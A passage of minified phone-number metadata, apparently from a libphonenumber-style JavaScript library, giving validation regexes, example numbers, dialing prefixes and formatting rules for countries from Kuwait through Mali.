$4",["007","0079","00798"],"$1","0$CC-$1"]],[[null,"(\\d{2})(\\d{3,4})","$1-$2",["(?:3[1-3]|[46][1-4]|5[1-5])1"],"0$1","0$CC-$1"],[null,"(\\d{4})(\\d{4})","$1-$2",["1(?:5[246-9]|6[046-8]|8[03579])","1(?:5(?:22|44|66|77|88|99)|6(?:[07]0|44|6[16]|88)|8(?:00|33|55|77|99))"],"$1","0$CC-$1"],[null,"(\\d{5})","$1",["1[016-9]1","1[016-9]11","1[016-9]114"],"0$1","0$CC-$1"],[null,"(\\d)(\\d{3,4})(\\d{4})","$1-$2-$3",["2[1-9]"],"0$1","0$CC-$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["60[2-9]|80"],"0$1","0$CC-$1"],[null,"(\\d{2})(\\d{3,4})(\\d{4})","$1-$2-$3",["1[0-25-9]|(?:3[1-3]|[46][1-4]|5[1-5])[1-9]"],"0$1","0$CC-$1"],[null,"(\\d{2})(\\d{4})(\\d{4})","$1-$2-$3",["[57]0"],"0$1","0$CC-$1"],[null,"(\\d{2})(\\d{5})(\\d{4})","$1-$2-$3",["50"],"0$1","0$CC-$1"]],[null,null,"15\\d{7,8}",null,null,null,"1523456789",null,null,[9,10]],null,null,[null,null,"00(?:3(?:08|68\\d)|798\\d{1,3})\\d{6}",null,null,null,null,null,null,[11,12,13,14]],[null,null,"1(?:5(?:22|44|66|77|88|99)|6(?:00|44|6[16]|70|88)|8(?:00|33|55|77|99))\\d{4}",null,null,null,"15441234",null,null,[8]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],KW:[null,[null,null,"(?:18|[2569]\\d\\d)\\d{5}",null,null,null,null,null,null,[7,8]],[null,null,"2(?:[23]\\d\\d|4(?:[1-35-9]\\d|44)|5(?:0[034]|[2-46]\\d|5[1-3]|7[1-7]))\\d{4}",null,null,null,"22345678",null,null,[8]],[null,null,"(?:5(?:(?:[05]\\d|1[0-7]|6[56])\\d|2(?:22|5[25]))|6(?:(?:0[034679]|5[015-9]|6\\d)\\d|222|7(?:0[013-9]|[67]\\d)|9(?:[069]\\d|3[039]))|9(?:(?:0[09]|22|4[01479]|55|6[0679]|8[057-9]|9\\d)\\d|11[01]|7(?:02|[1-9]\\d)))\\d{4}",null,null,null,"50012345",null,null,[8]],[null,null,"18\\d{5}",null,null,null,"1801234",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"KW",965,"00",null,null,null,null,null,null,null,[[null,"(\\d{4})(\\d{3,4})","$1 $2",["[169]|2(?:[235]|4[1-35-9])|52"]],[null,"(\\d{3})(\\d{5})","$1 $2",["[25]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],KY:[null,[null,null,"(?:345|[58]\\d\\d|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"345(?:2(?:22|44)|444|6(?:23|38|40)|7(?:4[35-79]|6[6-9]|77)|8(?:00|1[45]|25|[48]8)|9(?:14|4[035-9]))\\d{4}",null,null,null,"3452221234",null,null,null,[7]],[null,null,"345(?:32[1-9]|5(?:1[67]|2[5-79]|4[6-9]|50|76)|649|9(?:1[67]|2[2-9]|3[689]))\\d{4}",null,null,null,"3453231234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002345678"],[null,null,"(?:345976|900[2-9]\\d\\d)\\d{4}",null,null,null,"9002345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"KY",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,"345849\\d{4}",null,null,null,"3458491234"],null,"345",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],KZ:[null,[null,null,"(?:33622|(?:7\\d|80)\\d{3})\\d{5}",null,null,null,null,null,null,[10]],[null,null,"(?:33622|7(?:1(?:0(?:[23]\\d|4[0-3]|59|63)|1(?:[23]\\d|4[0-79]|59)|2(?:[23]\\d|59)|3(?:2\\d|3[0-79]|4[0-35-9]|59)|4(?:[24]\\d|3[013-9]|5[1-9])|5(?:2\\d|3[1-9]|4[0-7]|59)|6(?:[2-4]\\d|5[19]|61)|72\\d|8(?:[27]\\d|3[1-46-9]|4[0-5]))|2(?:1(?:[23]\\d|4[46-9]|5[3469])|2(?:2\\d|3[0679]|46|5[12679])|3(?:[2-4]\\d|5[139])|4(?:2\\d|3[1-35-9]|59)|5(?:[23]\\d|4[0-246-8]|59|61)|6(?:2\\d|3[1-9]|4[0-4]|59)|7(?:[2379]\\d|40|5[279])|8(?:[23]\\d|4[0-3]|59)|9(?:2\\d|3[124578]|59))))\\d{5}",null,null,null,"7123456789"],[null,null,"7(?:0[0-2578]|47|6[02-4]|7[15-8]|85)\\d{7}",null,null,null,"7710009998"],[null,null,"800\\d{7}",null,null,null,"8001234567"],[null,null,"809\\d{7}",null,null,null,"8091234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"808\\d{7}",null,null,null,"8081234567"],[null,null,"751\\d{7}",null,null,null,"7511234567"],"KZ",7,"810","8",null,null,"8",null,"8~10",null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"33|7",[null,null,"751\\d{7}"],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],LA:[null,[null,null,"(?:2\\d|3)\\d{8}|(?:[235-8]\\d|41)\\d{6}",null,null,null,null,null,null,[8,9,10],[6]],[null,null,"(?:2[13]|[35-7][14]|41|8[1468])\\d{6}",null,null,null,"21212862",null,null,[8],[6]],[null,null,"20(?:2[2389]|5[24-689]|7[6-8]|9[1-35-9])\\d{6}",null,null,null,"2023123456",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"LA",856,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["2[13]|3[14]|[4-8]"],"0$1"],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3 $4",["3"],"0$1"],[null,"(\\d{2})(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3 $4",["2"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"30\\d{7}",null,null,null,"301234567",null,null,[9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],LB:[null,[null,null,"[7-9]\\d{7}|[13-9]\\d{6}",null,null,null,null,null,null,[7,8]],[null,null,"(?:(?:[14-69]\\d|8[02-9])\\d|7(?:[2-57]\\d|62|8[0-7]|9[04-9]))\\d{4}",null,null,null,"1123456",null,null,[7]],[null,null,"(?:(?:3|81)\\d|7(?:[01]\\d|6[013-9]|8[89]|9[1-3]))\\d{5}",null,null,null,"71123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"9[01]\\d{6}",null,null,null,"90123456",null,null,[8]],[null,null,"80\\d{6}",null,null,null,"80123456",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"LB",961,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["[13-69]|7(?:[2-57]|62|8[0-7]|9[04-9])|8[02-9]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[7-9]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],LC:[null,[null,null,"(?:[58]\\d\\d|758|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"758(?:4(?:30|5\\d|6[2-9]|8[0-2])|57[0-2]|638)\\d{4}",null,null,null,"7584305678",null,null,null,[7]],[null,null,"758(?:28[4-7]|384|4(?:6[01]|8[4-9])|5(?:1[89]|20|84)|7(?:1[2-9]|2\\d|3[01]))\\d{4}",null,null,null,"7582845678",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"LC",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"758",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],LI:[null,[null,null,"(?:(?:[2378]|6\\d\\d)\\d|90)\\d{5}",null,null,null,null,null,null,[7,9]],[null,null,"(?:2(?:01|1[27]|3\\d|6[02-578]|96)|3(?:7[0135-7]|8[048]|9[0269]))\\d{4}",null,null,null,"2345678",null,null,[7]],[null,null,"(?:6(?:5(?:09|1\\d|20)|6(?:0[0-6]|10|2[06-9]|39))\\d|7(?:[37-9]\\d|42|56))\\d{4}",null,null,null,"660234567"],[null,null,"80(?:02[28]|9\\d\\d)\\d\\d",null,null,null,"8002222",null,null,[7]],[null,null,"90(?:02[258]|1(?:23|3[14])|66[136])\\d\\d",null,null,null,"9002222",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"LI",423,"00","0",null,null,"0|(10(?:01|20|66))",null,null,null,[[null,"(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3",["[237-9]"],null,"$CC $1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["6[56]"],null,"$CC $1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["6"],null,"$CC $1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"870(?:28|87)\\d\\d",null,null,null,"8702812",null,null,[7]],null,null,[null,null,"697(?:42|56|[78]\\d)\\d{4}",null,null,null,"697861234",null,null,[9]]],LK:[null,[null,null,"(?:[1-7]\\d|[89]1)\\d{7}",null,null,null,null,null,null,[9],[7]],[null,null,"(?:[189]1|2[13-7]|3[1-8]|4[157]|5[12457]|6[35-7])[2-57]\\d{6}",null,null,null,"112345678",null,null,null,[7]],[null,null,"7[0-25-8]\\d{7}",null,null,null,"712345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"LK",94,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[1-689]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["7"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"1973\\d{5}",null,null,null,"197312345"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],LR:[null,[null,null,"(?:[25]\\d|33|77|88)\\d{7}|(?:2\\d|[45])\\d{6}",null,null,null,null,null,null,[7,8,9]],[null,null,"(?:2\\d{3}|33333)\\d{4}",null,null,null,"21234567",null,null,[8,9]],[null,null,"(?:(?:(?:20|77|88)\\d|330|555)\\d|4[67])\\d{5}|5\\d{6}",null,null,null,"770123456",null,null,[7,9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"332(?:02|[34]\\d)\\d{4}",null,null,null,"332021234",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"LR",231,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["[45]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["2"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[23578]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],LS:[null,[null,null,"(?:[256]\\d\\d|800)\\d{5}",null,null,null,null,null,null,[8]],[null,null,"2\\d{7}",null,null,null,"22123456"],[null,null,"[56]\\d{7}",null,null,null,"50123456"],[null,null,"800[256]\\d{4}",null,null,null,"80021234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"LS",266,"00",null,null,null,null,null,null,null,[[null,"(\\d{4})(\\d{4})","$1 $2",["[2568]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],LT:[null,[null,null,"(?:[3469]\\d|52|[78]0)\\d{6}",null,null,null,null,null,null,[8]],[null,null,"(?:3[1478]|4[124-6]|52)\\d{6}",null,null,null,"31234567"],[null,null,"6\\d{7}",null,null,null,"61234567"],[null,null,"800\\d{5}",null,null,null,"80012345"],[null,null,"9(?:0[0239]|10)\\d{5}",null,null,null,"90012345"],[null,null,"808\\d{5}",null,null,null,"80812345"],[null,null,"700\\d{5}",null,null,null,"70012345"],[null,null,null,null,null,null,null,null,null,[-1]],"LT",370,"00","8",null,null,"[08]",null,null,null,[[null,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["52[0-79]"],"(8-$1)",null,1],[null,"(\\d{2})(\\d{6})","$1 $2",["37|4(?:[15]|6[1-8])"],"(8-$1)",null,1],[null,"(\\d{3})(\\d{5})","$1 $2",["[3-6]"],"(8-$1)",null,1],[null,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["[7-9]"],"8 $1",null,1]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"70[67]\\d{5}",null,null,null,"70712345"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],LU:[null,[null,null,"[2457-9]\\d{3,10}|3(?:[0-46-9]\\d{2,9}|5(?:[013-9]\\d{1,8}|2\\d{1,3}))|6\\d{8}",null,null,null,null,null,null,[4,5,6,7,8,9,10,11]],[null,null,"(?:(?:2[2-9]|[457]\\d)\\d|3(?:[0-46-9]\\d|5[013-9])|8(?:0[2-9]|[13-9]\\d)|9(?:0[89]|[2-579]\\d))\\d{1,8}",null,null,null,"27123456"],[null,null,"6(?:[269][18]|5[158]|7[189]|81)\\d{6}",null,null,null,"628123456",null,null,[9]],[null,null,"800\\d{5}",null,null,null,"80012345",null,null,[8]],[null,null,"90[015]\\d{5}",null,null,null,"90012345",null,null,[8]],[null,null,"801\\d{5}",null,null,null,"80112345",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"20(?:1\\d{5}|[2-689]\\d{1,7})",null,null,null,"20201234",null,null,[4,5,6,7,8,9,10]],"LU",352,"00",null,null,null,"(15(?:0[06]|1[12]|[35]5|4[04]|6[26]|77|88|99)\\d)",null,null,null,[[null,"(\\d{2})(\\d{3})","$1 $2",["2(?:0[2-689]|[2-9])|3(?:[0-46-9]|5[013-9])|[457]|8(?:0[2-9]|[13-9])|9(?:0[89]|[2-579])"],null,"$CC $1"],[null,"(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3",["2(?:0[2-689]|[2-9])|3(?:[0-46-9]|5[013-9])|[457]|8(?:0[2-9]|[13-9])|9(?:0[89]|[2-579])"],null,"$CC $1"],[null,"(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3",["20[2-689]"],null,"$CC $1"],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{1,2})","$1 $2 $3 $4",["2(?:0[1-689]|[367]|4[3-8])"],null,"$CC $1"],[null,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["80[01]|90[015]"],null,"$CC $1"],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3 $4",["20[2-689]"],null,"$CC $1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["6"],null,"$CC $1"],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})(\\d{1,2})","$1 $2 $3 $4 $5",["2(?:0[2-689]|[367]|4[3-8])"],null,"$CC $1"],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{1,5})","$1 $2 $3 $4",["2[2-9]|3(?:[0-46-9]|5[013-9])|[457]|8(?:0[2-9]|[13-9])|9(?:0[89]|[2-579])"],null,"$CC $1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],LV:[null,[null,null,"(?:[268]\\d|90)\\d{6}",null,null,null,null,null,null,[8]],[null,null,"6\\d{7}",null,null,null,"63123456"],[null,null,"2\\d{7}",null,null,null,"21234567"],[null,null,"80\\d{6}",null,null,null,"80123456"],[null,null,"90\\d{6}",null,null,null,"90123456"],[null,null,"81\\d{6}",null,null,null,"81123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"LV",371,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[269]|8[01]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],LY:[null,[null,null,"(?:[2569]\\d|71)\\d{7}",null,null,null,null,null,null,[9],[7]],[null,null,"(?:2[13-5]|5[1347]|6[1-479]|71)\\d{7}",null,null,null,"212345678",null,null,null,[7]],[null,null,"9[1-6]\\d{7}",null,null,null,"912345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"LY",218,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{7})","$1-$2",["[25-79]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MA:[null,[null,null,"[5-8]\\d{8}",null,null,null,null,null,null,[9]],[null,null,"5(?:2(?:[015-79]\\d|2[02-9]|3[2-57]|4[2-8]|8[235-7])|3(?:[0-48]\\d|[57][2-9]|6[2-8]|9[3-9])|(?:4[067]|5[03])\\d)\\d{5}",null,null,null,"520123456"],[null,null,"(?:6(?:[0-79]\\d|8[0-247-9])|7(?:0[067]|6[1267]|7[017]))\\d{6}",null,null,null,"650123456"],[null,null,"80\\d{7}",null,null,null,"801234567"],[null,null,"89\\d{7}",null,null,null,"891234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5924[01]\\d{4}",null,null,null,"592401234"],"MA",212,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{6})","$1-$2",["5(?:2[015-7]|3[0-4])|[67]"],"0$1"],[null,"(\\d{4})(\\d{5})","$1-$2",["5(?:2[2-489]|3[5-9]|9)|892","5(?:2(?:[2-48]|9[0-7])|3(?:[5-79]|8[0-7])|9)|892"],"0$1"],[null,"(\\d{5})(\\d{4})","$1-$2",["5[23]"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["5"],"0$1"],[null,"(\\d{2})(\\d{7})","$1-$2",["8"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],1,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MC:[null,[null,null,"(?:(?:[349]|6\\d)\\d\\d|870)\\d{5}",null,null,null,null,null,null,[8,9]],[null,null,"(?:870|9[2-47-9]\\d)\\d{5}",null,null,null,"99123456",null,null,[8]],[null,null,"(?:(?:3|6\\d)\\d\\d|4(?:4\\d|5[1-9]))\\d{5}",null,null,null,"612345678"],[null,null,"90\\d{6}",null,null,null,"90123456",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"MC",377,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{3})(\\d{2})","$1 $2 $3",["8"]],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[39]"]],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["4"],"0$1"],[null,"(\\d)(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4 $5",["6"],"0$1"]],[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[39]"]],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["4"],"0$1"],[null,"(\\d)(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4 $5",["6"],"0$1"]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"870\\d{5}",null,null,null,null,null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MD:[null,[null,null,"(?:[235-7]\\d|[89]0)\\d{6}",null,null,null,null,null,null,[8]],[null,null,"(?:(?:2[1-9]|3[1-79])\\d|5(?:33|5[257]))\\d{5}",null,null,null,"22212345"],[null,null,"(?:562|6\\d\\d|7(?:[189]\\d|6[07]|7[457-9]))\\d{5}",null,null,null,"62112345"],[null,null,"800\\d{5}",null,null,null,"80012345"],[null,null,"90[056]\\d{5}",null,null,null,"90012345"],[null,null,"808\\d{5}",null,null,null,"80812345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"3[08]\\d{6}",null,null,null,"30123456"],"MD",373,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["22|3"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["[25-7]"],"0$1"],[null,"(\\d{3})(\\d{5})","$1 $2",["[89]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"803\\d{5}",null,null,null,"80312345"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],ME:[null,[null,null,"(?:20|[3-79]\\d|80\\d?)\\d{6}",null,null,null,null,null,null,[8,9],[6]],[null,null,"(?:20[2-8]|3(?:[0-2][2-7]|3[24-7])|4(?:0[2-467]|1[2467])|5(?:[01][2467]|2[2-467]))\\d{5}",null,null,null,"30234567",null,null,[8],[6]],[null,null,"6(?:00|3[024]|6[0-25]|[7-9]\\d)\\d{5}",null,null,null,"67622901",null,null,[8]],[null,null,"80(?:[0-2578]|9\\d)\\d{5}",null,null,null,"80080002"],[null,null,"9(?:4[1568]|5[178])\\d{5}",null,null,null,"94515151",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"78[1-49]\\d{5}",null,null,null,"78108780",null,null,[8]],"ME",382,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[2-9]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"77[1-9]\\d{5}",null,null,null,"77273012",null,null,[8]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MF:[null,[null,null,"(?:590|69\\d)\\d{6}",null,null,null,null,null,null,[9]],[null,null,"590(?:0[079]|[14]3|[27][79]|30|5[0-268]|87)\\d{4}",null,null,null,"590271234"],[null,null,"69(?:0\\d\\d|1(?:2[29]|3[0-5]))\\d{4}",null,null,null,"690001234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"MF",590,"00","0",null,null,"0",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MG:[null,[null,null,"[23]\\d{8}",null,null,null,null,null,null,[9],[7]],[null,null,"20(?:(?:2\\d|4[47]|5[3467]|6[279]|8[268]|9[245])\\d|7(?:2[29]|[35]\\d))\\d{4}",null,null,null,"202123456",null,null,null,[7]],[null,null,"3[2-49]\\d{7}",null,null,null,"321234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"22\\d{7}",null,null,null,"221234567"],"MG",261,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{3})(\\d{2})","$1 $2 $3 $4",["[23]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MH:[null,[null,null,"(?:(?:[256]\\d|45)\\d|329)\\d{4}",null,null,null,null,null,null,[7]],[null,null,"(?:247|528|625)\\d{4}",null,null,null,"2471234"],[null,null,"(?:(?:23|54)5|329|45[56])\\d{4}",null,null,null,"2351234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"635\\d{4}",null,null,null,"6351234"],"MH",692,"011","1",null,null,"1",null,null,null,[[null,"(\\d{3})(\\d{4})","$1-$2",["[2-6]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],
MK:[null,[null,null,"[2-578]\\d{7}",null,null,null,null,null,null,[8],[6,7]],[null,null,"(?:2(?:[23]\\d|5[0-24578]|6[01]|82)|3(?:1[3-68]|[23][2-68]|4[23568])|4(?:[23][2-68]|4[3-68]|5[2568]|6[25-8]|7[24-68]|8[4-68]))\\d{5}",null,null,null,"22012345",null,null,null,[6,7]],[null,null,"7(?:(?:[0-25-8]\\d|3[2-4]|9[23])\\d|421)\\d{4}",null,null,null,"72345678"],[null,null,"800\\d{5}",null,null,null,"80012345"],[null,null,"5[02-9]\\d{6}",null,null,null,"50012345"],[null,null,"8(?:0[1-9]|[1-9]\\d)\\d{5}",null,null,null,"80123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"MK",389,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["2"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[347]"],"0$1"],[null,"(\\d{3})(\\d)(\\d{2})(\\d{2})","$1 $2 $3 $4",["[58]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],ML:[null,[null,null,"(?:[246-9]\\d|50)\\d{6}",null,null,null,null,null,null,[8]],[null,null,"(?:2(?:0(?:2\\d|7[0-8])|1(?:2[67]|[4-689]\\d))|4(?:0[0-4]|4[1-39])\\d)\\d{4}",null,null,null,"20212345"],[null,null,"(?:2(?:079|17\\d)|(?:50|[679]\\d|8[239])\\d\\d)\\d{4}",null,null,null,"65012345"],[null,null,"80\\d{6}",null,null,null,"80012345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"ML",223,"00",null,null,null,null,null,null,null,[[null,"(\\d{4})","$1",["67[057-9]|74[045]","67(?:0[09]|[59]9|77|8[89])|74(?:0[02]|44|55)"]],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 